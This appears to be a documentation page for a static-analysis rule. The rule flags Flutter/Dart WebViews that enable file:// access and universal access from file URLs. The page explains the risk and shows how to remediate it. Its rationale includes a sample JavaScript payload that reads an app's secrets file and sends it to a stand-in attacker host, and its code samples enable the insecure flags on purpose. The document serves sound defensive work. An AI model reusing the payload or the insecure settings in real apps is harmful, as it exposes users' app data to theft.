WebView file access enabled (file:// URLs can read local files)
ID |
dart.platform.webview_file_access_enabled |
Severity |
high |
Remediation Complexity |
trivial |
Remediation Risk |
low |
Remediation Effort |
low |
Resource |
Platform |
Language |
Dart |
Description
A Flutter WebView allows file:// URLs to read local files (setAllowFileAccessFromFileURLs(true), setAllowUniversalAccessFromFileURLs(true), or the equivalent allowFileAccess / allowFileAccessFromFileURLs / allowUniversalAccessFromFileURLs / allowContentAccess in InAppWebViewSettings). A malicious page can XHR-exfiltrate app files or escape the file:// origin.
Rationale
Android’s WebView, by default, isolates file:// URLs into a
per-file origin: a page loaded from file:///data/…/a.html can
not fetch file:///data/…/b.html. Setting
setAllowFileAccessFromFileURLs(true) removes that isolation;
setAllowUniversalAccessFromFileURLs(true) is worse — it lets
file:// pages perform cross-origin fetches against ANY URL
(http://attacker.example/exfil?contents=…;).
Combined with the WebView loading untrusted content (HTML pulled from network, user-supplied path, plugin export, or downloaded asset), an attacker can exfiltrate the app sandbox in a single navigation:
// Malicious HTML loaded into the WebView
fetch('file:///data/data/com.app/shared_prefs/secrets.xml')
.then(r => r.text())
.then(t => fetch('https://attacker/log?d=' + btoa(t)));
allowContentAccess enables Android content:// URI loading,
which exposes the app to the same risk for ContentProvider-backed
data.
The following code illustrates a vulnerable pattern detected by this rule:
class FileAccess {
void webviewFlutter(WebViewController controller) {
final a = controller.platform as AndroidWebViewController;
// VULNERABLE: WebView file access enabled (file:// URLs can read local files)
a.setAllowFileAccessFromFileURLs(true);
// VULNERABLE: WebView file access enabled (file:// URLs can read local files)
a.setAllowUniversalAccessFromFileURLs(true);
}
}
Remediation
Default these flags to false and keep them false in production.
If you genuinely need to render local HTML, prefer
loadFlutterAsset (which serves from app bundle without
file://-origin powers) and never combine file-access with JS
enabled on the same WebView.
// Vulnerable
android.setAllowFileAccessFromFileURLs(true);
android.setAllowUniversalAccessFromFileURLs(true);
InAppWebViewSettings(allowFileAccess: true, allowFileAccessFromFileURLs: true);
// Fixed
android.setAllowFileAccessFromFileURLs(false);
android.setAllowUniversalAccessFromFileURLs(false);
InAppWebViewSettings(allowFileAccess: false);
// For bundled HTML, prefer:
controller.loadFlutterAsset('assets/help.html');
References
-
OWASP Top 10 2025 - A01 : Broken Access Control.
-
CWE-668 — Exposure of Resource to Wrong Sphere
-
Android WebSettings.setAllowUniversalAccessFromFileURLs — Android documentation noting this flag should be false in production
-
package:flutter_inappwebview (pub.dev) — Default settings, including
allowFileAccessFromFileURLs: false